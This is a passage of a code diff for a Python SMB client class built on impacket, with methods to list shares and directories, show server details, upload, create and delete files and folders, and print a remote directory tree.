+398 print(" ├─OS:") +399 print(" │ ├─ \x1b[94mOS Name\x1b[0m \x1b[90m─────────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerOS())) +400 print(" │ └─ \x1b[94mOS Version\x1b[0m \x1b[90m──────────────\x1b[0m : \x1b[93m%s.%s.%s\x1b[0m" % (self.smbClient.getServerOSMajor(), self.smbClient.getServerOSMinor(), self.smbClient.getServerOSBuild())) +401 print(" ├─Server:") +402 print(" │ ├─ \x1b[94mSigning Required\x1b[0m \x1b[90m────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.isSigningRequired())) +403 print(" │ ├─ \x1b[94mLogin Required\x1b[0m \x1b[90m──────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.isLoginRequired())) +404 print(" │ ├─ \x1b[94mSupports NTLMv2\x1b[0m \x1b[90m─────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.doesSupportNTLMv2())) +405 MaxReadSize = self.smbClient.getIOCapabilities()["MaxReadSize"] +406 print(" │ ├─ \x1b[94mMax size of read chunk\x1b[0m \x1b[90m──\x1b[0m : \x1b[93m%d bytes (%s)\x1b[0m" % (MaxReadSize, b_filesize(MaxReadSize))) +407 MaxWriteSize = self.smbClient.getIOCapabilities()["MaxWriteSize"] +408 print(" │ └─ \x1b[94mMax size of write chunk\x1b[0m \x1b[90m─\x1b[0m : \x1b[93m%d bytes (%s)\x1b[0m" % (MaxWriteSize, b_filesize(MaxWriteSize))) +409 print(" └─") 410 -411 return self.available_shares -412 -413 def mkdir(self, path=None): -414 """ -415 Creates a directory at the specified path on the SMB share. -416 -417 This method takes a path and attempts to create the directory structure on the SMB share. If the path includes -418 nested directories, it will create each directory in the sequence. If a directory already exists, it will skip -419 the creation for that directory without raising an error. -420 -421 Args: -422 path (str, optional): The full path of the directory to create on the SMB share. Defaults to None. -423 -424 Note: -425 The path should use forward slashes ('/') which will be converted to backslashes (ntpath.sep) for SMB compatibility. -426 """ -427 -428 if path is not None: -429 # Prepare path -430 path = path.replace('/',ntpath.sep) -431 if ntpath.sep in path: -432 path = path.strip(ntpath.sep).split(ntpath.sep) -433 else: -434 path = [path] -435 -436 # Create each dir in the path -437 for depth in range(1, len(path)+1): -438 tmp_path = ntpath.sep.join(path[:depth]) -439 try: -440 self.smbClient.createDirectory( -441 shareName=self.smb_share, -442 pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + tmp_path + ntpath.sep) -443 ) -444 except impacket.smbconnection.SessionError as err: -445 if err.getErrorCode() == 0xc0000035: -446 # STATUS_OBJECT_NAME_COLLISION -447 # Remote directory already created, this is normal -448 # Src: https://github.com/fortra/impacket/blob/269ce69872f0e8f2188a80addb0c39fedfa6dcb8/impacket/nt_errors.py#L268C9-L268C19 -449 pass -450 else: -451 print("[!] Failed to create directory '%s': %s" % (tmp_path, err)) -452 if self.config.debug: -453 traceback.print_exc() -454 else: -455 pass -456 -457 def path_exists(self, path=None): -458 """ -459 Checks if the specified path exists on the SMB share. -460 -461 This method determines if a given path exists on the SMB share by attempting to list the contents of the path. -462 If the path listing is successful and returns one or more entries, the path is considered to exist. +411 if share and self.smb_share is not None: +412 share_name = self.available_shares.get(self.smb_share.lower(), "")["name"] +413 share_comment = self.available_shares.get(self.smb_share.lower(), "")["comment"] +414 share_type = self.available_shares.get(self.smb_share.lower(), "")["type"] +415 share_type =', '.join([s.replace("STYPE_","") for s in share_type]) +416 share_rawtype = self.available_shares.get(self.smb_share.lower(), "")["rawtype"] +417 if self.config.no_colors: +418 print("\n[+] Share:") +419 print(" ├─ Name ──────────── : %s" % (share_name)) +420 print(" ├─ Description ───── : %s" % (share_comment)) +421 print(" ├─ Type ──────────── : %s" % (share_type)) +422 print(" └─ Raw type value ── : %s" % (share_rawtype)) +423 else: +424 print("\n[+] Share:") +425 print(" ├─ \x1b[94mName\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_name)) +426 print(" ├─ \x1b[94mDescription\x1b[0m \x1b[90m─────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_comment)) +427 print(" ├─ \x1b[94mType\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_type)) +428 print(" └─ \x1b[94mRaw type value\x1b[0m \x1b[90m──\x1b[0m : \x1b[93m%s\x1b[0m" % (share_rawtype)) +429 +430 def list_contents(self, path=None): +431 """ +432 Lists the contents of a specified directory on the SMB share. +433 +434 This method retrieves the contents of a directory specified by `shareName` and `path`. If `shareName` or `path` +435 is not provided, it defaults to the instance's current SMB share or path. The method returns a dictionary with +436 the long names of the files and directories as keys and their respective SMB entry objects as values. +437 +438 Args: +439 shareName (str, optional): The name of the SMB share. Defaults to the current SMB share if None. +440 path (str, optional): The directory path to list contents from. Defaults to the current path if None. +441 +442 Returns: +443 dict: A dictionary with file and directory names as keys and their SMB entry objects as values. +444 """ +445 +446 if path is None or len(path) == 0: +447 path = self.smb_cwd +448 path = path.rstrip(ntpath.sep) + ntpath.sep + "*" +449 +450 contents = {} +451 entries = self.smbClient.listPath( +452 shareName=self.smb_share, +453 path=path +454 ) +455 for entry in entries: +456 contents[entry.get_longname()] = entry +457 +458 return contents +459 +460 def list_shares(self): +461 """ +462 Lists all the shares available on the connected SMB server. 463 -464 Args: -465 path (str, optional): The path to check on the SMB share. Defaults to None. -466 -467 Returns: -468 bool: True if the path exists, False otherwise or if an error occurs. -469 """ -470 -471 if path is not None: -472 path = path.replace('*','') -473 try: -474 contents = self.smbClient.listPath( -475 shareName=self.smb_share, -476 path=ntpath.normpath(self.smb_cwd + ntpath.sep + path + ntpath.sep) -477 ) -478 return (len(contents) != 0) -479 except Exception as e: -480 return False -481 else: -482 return False -483 -484 def path_isdir(self, pathFromRoot=None): -485 """ -486 Checks if the specified path is a directory on the SMB share. -487 -488 This method determines if a given path corresponds to a directory on the SMB share. It does this by listing the -489 contents of the path and filtering for entries that match the basename of the path and are marked as directories. -490 -491 Args: -492 path (str, optional): The path to check on the SMB share. Defaults to None. +464 This method queries the SMB server to retrieve a list of all available shares. It populates the `shares` dictionary +465 with key-value pairs where the key is the share name and the value is a dictionary containing details about the share +466 such as its name, type, raw type, and any comments associated with the share. +467 +468 Returns: +469 dict: A dictionary containing information about each share available on the server. +470 """ +471 +472 self.available_shares = {} +473 +474 if self.connected: +475 if self.smbClient is not None: +476 resp = self.smbClient.listShares() +477 +478 for share in resp: +479 # SHARE_INFO_1 structure (lmshare.h) +480 # https://learn.microsoft.com/en-us/windows/win32/api/lmshare/ns-lmshare-share_info_1 +481 sharename = share["shi1_netname"][:-1] +482 sharecomment = share["shi1_remark"][:-1] +483 sharetype = share["shi1_type"] +484 +485 self.available_shares[sharename.lower()] = { +486 "name": sharename, +487 "type": STYPE_MASK(sharetype), +488 "rawtype": sharetype, +489 "comment": sharecomment +490 } +491 else: +492 print("[!] Error: SMBSession.smbClient is None.") 493 -494 Returns: -495 bool: True if the path is a directory, False otherwise or if an error occurs. -496 """ -497 -498 if pathFromRoot is not None: -499 # Replace slashes if any -500 path = pathFromRoot.replace('/', ntpath.sep) -501 -502 # Strip wildcards to avoid injections -503 path = path.replace('*','') -504 -505 # Normalize path and strip leading backslash -506 path = ntpath.normpath(path + ntpath.sep).lstrip(ntpath.sep) -507 -508 if path.strip() in ['', '.', '..']: -509 # By defininition they exist on the filesystem -510 return True -511 else: -512 try: -513 contents = self.smbClient.listPath( -514 shareName=self.smb_share, -515 path=path+'*' -516 ) -517 # Filter on directories -518 contents = [ -519 c for c in contents -520 if c.get_longname() == ntpath.basename(path) and c.is_directory() -521 ] -522 return (len(contents) != 0) -523 except Exception as e: -524 return False -525 else: -526 return False -527 -528 def path_isfile(self, path=None): -529 """ -530 Checks if the specified path is a file on the SMB share. -531 -532 This method determines if a given path corresponds to a file on the SMB share. It does this by listing the -533 contents of the path and filtering for entries that match the basename of the path and are not marked as directories. -534 -535 Args: -536 path (str, optional): The path to check on the SMB share. Defaults to None. -537 -538 Returns: -539 bool: True if the path is a file, False otherwise or if an error occurs. -540 """ -541 -542 if path is not None: -543 path = path.replace('*','') -544 try: -545 contents = self.smbClient.listPath( -546 shareName=self.smb_share, -547 path=ntpath.normpath(self.smb_cwd + ntpath.sep + path + ntpath.sep) -548 ) -549 # Filter on files -550 contents = [ -551 c for c in contents -552 if c.get_longname() == ntpath.basename(path) and not c.is_directory() -553 ] -554 return (len(contents) != 0) -555 except Exception as e: -556 return False -557 else: -558 return False -559 -560 def ping_smb_session(self): -561 """ -562 Tests the connectivity to the SMB server by sending an echo command. -563 -564 This method attempts to send an echo command to the SMB server to check if the session is still active. -565 It updates the `connected` attribute of the class based on the success or failure of the echo command. -566 -567 Returns: -568 bool: True if the echo command succeeds (indicating the session is active), False otherwise. -569 """ +494 return self.available_shares +495 +496 def mkdir(self, path=None): +497 """ +498 Creates a directory at the specified path on the SMB share. +499 +500 This method takes a path and attempts to create the directory structure on the SMB share. If the path includes +501 nested directories, it will create each directory in the sequence. If a directory already exists, it will skip +502 the creation for that directory without raising an error. +503 +504 Args: +505 path (str, optional): The full path of the directory to create on the SMB share. Defaults to None. +506 +507 Note: +508 The path should use forward slashes ('/') which will be converted to backslashes (ntpath.sep) for SMB compatibility. +509 """ +510 +511 if path is not None: +512 # Prepare path +513 path = path.replace('/',ntpath.sep) +514 if ntpath.sep in path: +515 path = path.strip(ntpath.sep).split(ntpath.sep) +516 else: +517 path = [path] +518 +519 # Create each dir in the path +520 for depth in range(1, len(path)+1): +521 tmp_path = ntpath.sep.join(path[:depth]) +522 try: +523 self.smbClient.createDirectory( +524 shareName=self.smb_share, +525 pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + tmp_path + ntpath.sep) +526 ) +527 except impacket.smbconnection.SessionError as err: +528 if err.getErrorCode() == 0xc0000035: +529 # STATUS_OBJECT_NAME_COLLISION +530 # Remote directory already created, this is normal +531 # Src: https://github.com/fortra/impacket/blob/269ce69872f0e8f2188a80addb0c39fedfa6dcb8/impacket/nt_errors.py#L268C9-L268C19 +532 pass +533 else: +534 print("[!] Failed to create directory '%s': %s" % (tmp_path, err)) +535 if self.config.debug: +536 traceback.print_exc() +537 else: +538 pass +539 +540 def path_exists(self, path=None): +541 """ +542 Checks if the specified path exists on the SMB share. +543 +544 This method determines if a given path exists on the SMB share by attempting to list the contents of the path. +545 If the path listing is successful and returns one or more entries, the path is considered to exist. +546 +547 Args: +548 path (str, optional): The path to check on the SMB share. Defaults to None. +549 +550 Returns: +551 bool: True if the path exists, False otherwise or if an error occurs. +552 """ +553 +554 if path is not None: +555 path = path.replace('*','') +556 try: +557 contents = self.smbClient.listPath( +558 shareName=self.smb_share, +559 path=ntpath.normpath(self.smb_cwd + ntpath.sep + path + ntpath.sep) +560 ) +561 return (len(contents) != 0) +562 except Exception as e: +563 return False +564 else: +565 return False +566 +567 def path_isdir(self, pathFromRoot=None): +568 """ +569 Checks if the specified path is a directory on the SMB share. 570 -571 try: -572 self.smbClient.getSMBServer().echo() -573 self.connected = True -574 except Exception as e: -575 self.connected = False -576 return self.connected -577 -578 def put_file(self, localpath=None): -579 """ -580 Uploads a single file to the SMB share. -581 -582 This method takes a local file path, opens the file, and uploads it to the SMB share at the specified path. -583 It handles exceptions such as broken pipe errors or keyboard interrupts by closing and reinitializing the SMB session. -584 General exceptions are caught and logged, with a traceback provided if debugging is enabled. -585 -586 Args: -587 localpath (str, optional): The local file path of the file to be uploaded. Defaults to None. -588 """ -589 -590 if os.path.exists(localpath): -591 if os.path.isfile(localpath): -592 try: -593 localfile = os.path.basename(localpath) -594 f = LocalFileIO( -595 mode="rb", -596 path=localpath, -597 debug=self.config.debug -598 ) -599 self.smbClient.putFile( -600 shareName=self.smb_share, -601 pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + localfile + ntpath.sep), -602 callback=f.read -603 ) -604 f.close() -605 except (BrokenPipeError, KeyboardInterrupt) as err: -606 print("[!] Interrupted.") -607 self.close_smb_session() -608 self.init_smb_session() -609 except Exception as err: -610 print("[!] Failed to upload '%s': %s" % (localfile, err)) -611 if self.config.debug: -612 traceback.print_exc() -613 else: -614 print("[!] The specified localpath is a directory. Use 'put -r <directory>' instead.") -615 else: -616 print("[!] The specified localpath does not exist.") +571 This method determines if a given path corresponds to a directory on the SMB share. It does this by listing the +572 contents of the path and filtering for entries that match the basename of the path and are marked as directories. +573 +574 Args: +575 path (str, optional): The path to check on the SMB share. Defaults to None. +576 +577 Returns: +578 bool: True if the path is a directory, False otherwise or if an error occurs. +579 """ +580 +581 if pathFromRoot is not None: +582 # Replace slashes if any +583 path = pathFromRoot.replace('/', ntpath.sep) +584 +585 # Strip wildcards to avoid injections +586 path = path.replace('*','') +587 +588 # Normalize path and strip leading backslash +589 path = ntpath.normpath(path + ntpath.sep).lstrip(ntpath.sep) +590 +591 if path.strip() in ['', '.', '..']: +592 # By defininition they exist on the filesystem +593 return True +594 else: +595 try: +596 contents = self.smbClient.listPath( +597 shareName=self.smb_share, +598 path=path+'*' +599 ) +600 # Filter on directories +601 contents = [ +602 c for c in contents +603 if c.get_longname() == ntpath.basename(path) and c.is_directory() +604 ] +605 return (len(contents) != 0) +606 except Exception as e: +607 return False +608 else: +609 return False +610 +611 def path_isfile(self, path=None): +612 """ +613 Checks if the specified path is a file on the SMB share. +614 +615 This method determines if a given path corresponds to a file on the SMB share. It does this by listing the +616 contents of the path and filtering for entries that match the basename of the path and are not marked as directories. 617 -618 def put_file_recursively(self, localpath=None): -619 """ -620 Recursively uploads files from a specified local directory to the SMB share. -621 -622 This method walks through the given local directory and all its subdirectories, uploading each file to the -623 corresponding directory structure on the SMB share. It first checks if the local path is a directory. If it is, -624 it iterates over all files and directories within the local path, creating necessary directories on the SMB share -625 and uploading files. If the local path is not a directory, it prints an error message. -626 -627 Args: -628 localpath (str, optional): The local directory path from which files will be uploaded. Defaults to None. -629 """ -630 -631 if os.path.exists(localpath): -632 if os.path.isfile(localpath): -633 # Iterate over all files and directories within the local path -634 local_files = {} -635 for root, dirs, files in os.walk(localpath): -636 if len(files) != 0: -637 local_files[root] = files -638 -639 # Iterate over the found files -640 for local_dir_path in sorted(local_files.keys()): -641 print("[>] Putting files of '%s'" % local_dir_path) -642 -643 # Create remote directory -644 remote_dir_path = local_dir_path.replace(os.path.sep, ntpath.sep) -645 self.mkdir( -646 path=ntpath.normpath(self.smb_cwd + ntpath.sep + remote_dir_path + ntpath.sep) -647 ) +618 Args: +619 path (str, optional): The path to check on the SMB share. Defaults to None. +620 +621 Returns: +622 bool: True if the path is a file, False otherwise or if an error occurs. +623 """ +624 +625 if path is not None: +626 path = path.replace('*','') +627 search_dir = ntpath.normpath(self.smb_cwd + ntpath.sep + path) +628 search_dir = ntpath.dirname(search_dir) + ntpath.sep + '*' +629 try: +630 contents = self.smbClient.listPath( +631 shareName=self.smb_share, +632 path=search_dir +633 ) +634 # Filter on files +635 contents = [ +636 c for c in contents +637 if c.get_longname() == ntpath.basename(path) and not c.is_directory() +638 ] +639 return (len(contents) != 0) +640 except Exception as e: +641 return False +642 else: +643 return False +644 +645 def ping_smb_session(self): +646 """ +647 Tests the connectivity to the SMB server by sending an echo command. 648 -649 for local_file_path in local_files[local_dir_path]: -650 try: -651 f = LocalFileIO( -652 mode="rb", -653 path=local_dir_path + os.path.sep + local_file_path, -654 debug=self.config.debug -655 ) -656 self.smbClient.putFile( -657 shareName=self.smb_share, -658 pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + remote_dir_path + ntpath.sep + local_file_path), -659 callback=f.read -660 ) -661 f.close() -662 -663 except BrokenPipeError as err: -664 f.set_error(message="[bold red]Failed uploading '%s': %s" % (f.path, err)) -665 f.close(remove=True) -666 break -667 except Exception as err: -668 f.set_error(message="[bold red]Failed uploading '%s': %s" % (f.path, err)) -669 f.close(remove=True) -670 else: -671 print("[!] The specified localpath is a file. Use 'put <file>' instead.") -672 else: -673 print("[!] The specified localpath does not exist.") -674 -675 def rmdir(self, path=None): -676 """ -677 Removes a directory from the SMB share at the specified path. -678 -679 This method attempts to delete a directory located at the given path on the SMB share. If the operation fails, -680 it prints an error message indicating the failure and the reason. If debugging is enabled, it also prints -681 the stack trace of the exception. -682 -683 Args: -684 path (str, optional): The path of the directory to be removed on the SMB share. Defaults to None. -685 """ -686 try: -687 self.smbClient.deleteDirectory( -688 shareName=self.smb_share, -689 pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + path), -690 ) -691 except Exception as err: -692 print("[!] Failed to remove directory '%s': %s" % (path, err)) -693 if self.config.debug: -694 traceback.print_exc() -695 -696 def rm(self, path=None): -697 """ -698 Removes a file from the SMB share at the specified path. -699 -700 This method attempts to delete a file located at the given path on the SMB share. If the operation fails, -701 it prints an error message indicating the failure and the reason. If debugging is enabled, it also prints -702 the stack trace of the exception. -703 -704 Args: -705 path (str, optional): The path of the file to be removed on the SMB share. Defaults to None. -706 """ -707 try: -708 self.smbClient.deleteFile( -709 shareName=self.smb_share, -710 pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + path), -711 ) -712 except Exception as err: -713 print("[!] Failed to remove file '%s': %s" % (path, err)) -714 if self.config.debug: -715 traceback.print_exc() -716 -717 def tree(self, path=None): -718 """ -719 Recursively lists the directory structure of the SMB share starting from the specified path. -720 -721 This function prints a visual representation of the directory tree of the remote SMB share. It uses -722 recursion to navigate through directories and lists all files and subdirectories in each directory. -723 The output is color-coded and formatted to enhance readability, with directories highlighted in cyan. -724 -725 Args: -726 path (str, optional): The starting path on the SMB share from which to begin listing the tree. -727 Defaults to the root of the current share. -728 """ -729 -730 def recurse_action(base_dir="", path=[], prompt=[]): -731 bars = ["│ ", "├── ", "└── "] +649 This method attempts to send an echo command to the SMB server to check if the session is still active. +650 It updates the `connected` attribute of the class based on the success or failure of the echo command. +651 +652 Returns: +653 bool: True if the echo command succeeds (indicating the session is active), False otherwise. +654 """ +655 +656 try: +657 self.smbClient.getSMBServer().echo() +658 except Exception as e: +659 self.connected = False +660 return self.connected +661 +662 def put_file(self, localpath=None): +663 """ +664 Uploads a single file to the SMB share. +665 +666 This method takes a local file path, opens the file, and uploads it to the SMB share at the specified path. +667 It handles exceptions such as broken pipe errors or keyboard interrupts by closing and reinitializing the SMB session. +668 General exceptions are caught and logged, with a traceback provided if debugging is enabled. +669 +670 Args: +671 localpath (str, optional): The local file path of the file to be uploaded. Defaults to None. +672 """ +673 +674 if os.path.exists(localpath): +675 if os.path.isfile(localpath): +676 try: +677 localfile = os.path.basename(localpath) +678 f = LocalFileIO( +679 mode="rb", +680 path=localpath, +681 debug=self.config.debug +682 ) +683 self.smbClient.putFile( +684 shareName=self.smb_share, +685 pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + localfile + ntpath.sep), +686 callback=f.read +687 ) +688 f.close() +689 except (BrokenPipeError, KeyboardInterrupt) as err: +690 print("[!] Interrupted.") +691 self.close_smb_session() +692 self.init_smb_session() +693 except Exception as err: +694 print("[!] Failed to upload '%s': %s" % (localfile, err)) +695 if self.config.debug: +696 traceback.print_exc() +697 else: +698 print("[!] The specified localpath is a directory. Use 'put -r <directory>' instead.") +699 else: +700 print("[!] The specified localpath does not exist.") +701 +702 def put_file_recursively(self, localpath=None): +703 """ +704 Recursively uploads files from a specified local directory to the SMB share. +705 +706 This method walks through the given local directory and all its subdirectories, uploading each file to the +707 corresponding directory structure on the SMB share. It first checks if the local path is a directory. If it is, +708 it iterates over all files and directories within the local path, creating necessary directories on the SMB share +709 and uploading files. If the local path is not a directory, it prints an error message. +710 +711 Args: +712 localpath (str, optional): The local directory path from which files will be uploaded. Defaults to None. +713 """ +714 +715 if os.path.exists(localpath): +716 if os.path.isfile(localpath): +717 # Iterate over all files and directories within the local path +718 local_files = {} +719 for root, dirs, files in os.walk(localpath): +720 if len(files) != 0: +721 local_files[root] = files +722 +723 # Iterate over the found files +724 for local_dir_path in sorted(local_files.keys()): +725 print("[>] Putting files of '%s'" % local_dir_path) +726 +727 # Create remote directory +728 remote_dir_path = local_dir_path.replace(os.path.sep, ntpath.sep) +729 self.mkdir( +730 path=ntpath.normpath(self.smb_cwd + ntpath.sep + remote_dir_path + ntpath.sep) +731 ) 732 -733 remote_smb_path = ntpath.normpath(base_dir + ntpath.sep + ntpath.sep.join(path)) -734 -735 entries = [] -736 try: -737 entries = self.smbClient.listPath( -738 shareName=self.smb_share, -739 path=remote_smb_path+'\\*' -740 ) -741 except impacket.smbconnection.SessionError as err: -742 code, const, text = err.getErrorCode(), err.getErrorString()[0], err.getErrorString()[1] -743 errmsg = "Error 0x%08x (%s): %s" % (code, const, text) -744 if self.config.no_colors: -745 print("%s%s" % (''.join(prompt+[bars[2]]), errmsg)) -746 else: -747 print("%s\x1b[1;91m%s\x1b[0m" % (''.join(prompt+[bars[2]]), errmsg)) -748 return -749 -750 entries = [e for e in entries if e.get_longname() not in [".", ".."]] -751 entries = sorted(entries, key=lambda x:x.get_longname()) -752 -753 # -754 if len(entries) > 1: -755 index = 0 -756 for entry in entries: -757 index += 1 -758 # This is the first entry -759 if index == 0: -760 if entry.is_directory(): -761 if self.config.no_colors: -762 print("%s%s\\" % (''.join(prompt+[bars[1]]), entry.get_longname())) -763 else: -764 print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[1]]), entry.get_longname())) -765 recurse_action( -766 base_dir=base_dir, -767 path=path+[entry.get_longname()], -768 prompt=prompt+["│ "] -769 ) -770 else: -771 if self.config.no_colors: -772 print("%s%s" % (''.join(prompt+[bars[1]]), entry.get_longname())) -773 else: -774 print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[1]]), entry.get_longname())) -775 -776 # This is the last entry -777 elif index == len(entries): -778 if entry.is_directory(): -779 if self.config.no_colors: -780 print("%s%s\\" % (''.join(prompt+[bars[2]]), entry.get_longname())) -781 else: -782 print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[2]]), entry.get_longname())) -783 recurse_action( -784 base_dir=base_dir, -785 path=path+[entry.get_longname()], -786 prompt=prompt+[" "] -787 ) -788 else: -789 if self.config.no_colors: -790 print("%s%s" % (''.join(prompt+[bars[2]]), entry.get_longname())) -791 else: -792 print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[2]]), entry.get_longname())) -793 -794 # These are entries in the middle -795 else: -796 if entry.is_directory(): -797 if self.config.no_colors: -798 print("%s%s\\" % (''.join(prompt+[bars[1]]), entry.get_longname())) -799 else: -800 print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[1]]), entry.get_longname())) -801 recurse_action( -802 base_dir=base_dir, -803 path=path+[entry.get_longname()], -804 prompt=prompt+["│ "] -805 ) -806 else: -807 if self.config.no_colors: -808 print("%s%s" % (''.join(prompt+[bars[1]]), entry.get_longname())) -809 else: -810 print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[1]]), entry.get_longname())) -811 -812 # -813 elif len(entries) == 1: -814 entry = entries[0] -815 if entry.is_directory(): -816 if self.config.no_colors: -817 print("%s%s\\" % (''.join(prompt+[bars[2]]), entry.get_longname())) -818 else: -819 print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[2]]), entry.get_longname())) -820 recurse_action( -821 base_dir=base_dir, -822 path=path+[entry.get_longname()], -823 prompt=prompt+[" "] -824 ) -825 else: -826 if self.config.no_colors: -827 print("%s%s" % (''.join(prompt+[bars[2]]), entry.get_longname())) -828 else: -829 print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[2]]), entry.get_longname())) -830 -831 # Entrypoint -832 try: -833 if self.config.no_colors: -834 print("%s\\" % path) -835 else: -836 print("\x1b[1;96m%s\x1b[0m\\" % path) -837 recurse_action( -838 base_dir=self.smb_cwd, -839 path=[path], -840 prompt=[""] -841 ) -842 except (BrokenPipeError, KeyboardInterrupt) as e: -843 print("[!] Interrupted.") -844 self.close_smb_session() -845 self.init_smb_session() -846 -847 # Setter / Getter -848 -849 def set_share(self, shareName): -850 """ -851 Sets the current SMB share to the specified share name. -852 -853 This method updates the SMB session to use the specified share name. It checks if the share name is valid -854 and updates the smb_share attribute of the SMBSession instance. -855 -856 Parameters: -857 shareName (str): The name of the share to set as the current SMB share. -858 -859 Raises: -860 ValueError: If the shareName is None or an empty string. -861 """ -862 -863 if shareName is not None: -864 self.smb_share = shareName -865 -866 def set_cwd(self, path=None): -867 """ -868 Sets the current working directory on the SMB share to the specified path. -869 -870 This method updates the current working directory (cwd) of the SMB session to the given path if it is a valid directory. -871 If the specified path is not a directory, the cwd remains unchanged. -872 -873 Parameters: -874 path (str): The path to set as the current working directory. -875 -876 Raises: -877 ValueError: If the specified path is not a directory. -878 """ -879 -880 if path is not None: -881 # Set path separators to ntpath sep -882 if '/' in path: -883 path = path.replace('/', ntpath.sep) -884 -885 if path.startswith(ntpath.sep): -886 # Absolute path -887 path = path + ntpath.sep -888 else: -889 # Relative path to the CWD -890 if len(self.smb_cwd) == 0: -891 path = path + ntpath.sep -892 else: -893 path = self.smb_cwd + ntpath.sep + path -894 -895 # Path normalization -896 path = ntpath.normpath(path) -897 path = re.sub(r'\\+', r'\\', path) -898 -899 if path in ["", ".", ".."]: -900 self.smb_cwd = "" -901 else: -902 if self.path_isdir(pathFromRoot=path.strip(ntpath.sep)): -903 # Path exists on the remote -904 self.smb_cwd = ntpath.normpath(path) -905 else: -906 # Path does not exists or is not a directory on the remote -907 print("[!] Remote directory '%s' does not exist." % path) +733 for local_file_path in local_files[local_dir_path]: +734 try: +735 f = LocalFileIO( +736 mode="rb", +737 path=local_dir_path + os.path.sep + local_file_path, +738 debug=self.config.debug +739 ) +740 self.smbClient.putFile( +741 shareName=self.smb_share, +742 pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + remote_dir_path + ntpath.sep + local_file_path), +743 callback=f.read +744 ) +745 f.close() +746 +747 except BrokenPipeError as err: +748 f.set_error(message="[bold red]Failed uploading '%s': %s" % (f.path, err)) +749 f.close(remove=True) +750 break +751 except Exception as err: +752 f.set_error(message="[bold red]Failed uploading '%s': %s" % (f.path, err)) +753 f.close(remove=True) +754 else: +755 print("[!] The specified localpath is a file. Use 'put <file>' instead.") +756 else: +757 print("[!] The specified localpath does not exist.") +758 +759 def rmdir(self, path=None): +760 """ +761 Removes a directory from the SMB share at the specified path. +762 +763 This method attempts to delete a directory located at the given path on the SMB share. If the operation fails, +764 it prints an error message indicating the failure and the reason. If debugging is enabled, it also prints +765 the stack trace of the exception. +766 +767 Args: +768 path (str, optional): The path of the directory to be removed on the SMB share. Defaults to None. +769 """ +770 try: +771 self.smbClient.deleteDirectory( +772 shareName=self.smb_share, +773 pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + path), +774 ) +775 except Exception as err: +776 print("[!] Failed to remove directory '%s': %s" % (path, err)) +777 if self.config.debug: +778 traceback.print_exc() +779 +780 def rm(self, path=None): +781 """ +782 Removes a file from the SMB share at the specified path. +783 +784 This method attempts to delete a file located at the given path on the SMB share. If the operation fails, +785 it prints an error message indicating the failure and the reason. If debugging is enabled, it also prints +786 the stack trace of the exception. +787 +788 Args: +789 path (str, optional): The path of the file to be removed on the SMB share. Defaults to None. +790 """ +791 try: +792 self.smbClient.deleteFile( +793 shareName=self.smb_share, +794 pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + path), +795 ) +796 except Exception as err: +797 print("[!] Failed to remove file '%s': %s" % (path, err)) +798 if self.config.debug: +799 traceback.print_exc() +800 +801 def tree(self, path=None): +802 """ +803 Recursively lists the directory structure of the SMB share starting from the specified path. +804 +805 This function prints a visual representation of the directory tree of the remote SMB share. It uses +806 recursion to navigate through directories and lists all files and subdirectories in each directory. +807 The output is color-coded and formatted to enhance readability, with directories highlighted in cyan. +808 +809 Args: +810 path (str, optional): The starting path on the SMB share from which to begin listing the tree. +811 Defaults to the root of the current share. +812 """ +813 +814 def recurse_action(base_dir="", path=[], prompt=[]): +815 bars = ["│ ", "├── ", "└── "] +816 +817 remote_smb_path = ntpath.normpath(base_dir + ntpath.sep + ntpath.sep.join(path)) +818 +819 entries = [] +820 try: +821 entries = self.smbClient.listPath( +822 shareName=self.smb_share, +823 path=remote_smb_path+'\\*' +824 ) +825 except impacket.smbconnection.SessionError as err: +826 code, const, text = err.getErrorCode(), err.getErrorString()[0], err.getErrorString()[1] +827 errmsg = "Error 0x%08x (%s): %s" % (code, const, text) +828 if self.config.no_colors: +829 print("%s%s" % (''.join(prompt+[bars[2]]), errmsg)) +830 else: +831 print("%s\x1b[1;91m%s\x1b[0m" % (''.join(prompt+[bars[2]]), errmsg)) +832 return +833 +834 entries = [e for e in entries if e.get_longname() not in [".", ".."]] +835 entries = sorted(entries, key=lambda x:x.get_longname()) +836 +837 # +838 if len(entries) > 1: +839 index = 0 +840 for entry in entries: +841 index += 1 +842 # This is the first entry +843 if index == 0: +844 if entry.is_directory(): +845 if self.config.no_colors: +846 print("%s%s\\" % (''.join(prompt+[bars[1]]), entry.get_longname())) +847 else: +848 print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[1]]), entry.get_longname())) +849 recurse_action( +850 base_dir=base_dir, +851 path=path+[entry.get_longname()], +852 prompt=prompt+["│ "] +853 ) +854 else: +855 if self.config.no_colors: +856 print("%s%s" % (''.join(prompt+[bars[1]]), entry.get_longname())) +857 else: +858 print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[1]]), entry.get_longname())) +859 +860 # This is the last entry +861 elif index == len(entries): +862 if entry.is_directory(): +863 if self.config.no_colors: +864 print("%s%s\\" % (''.join(prompt+[bars[2]]), entry.get_longname())) +865 else: +866 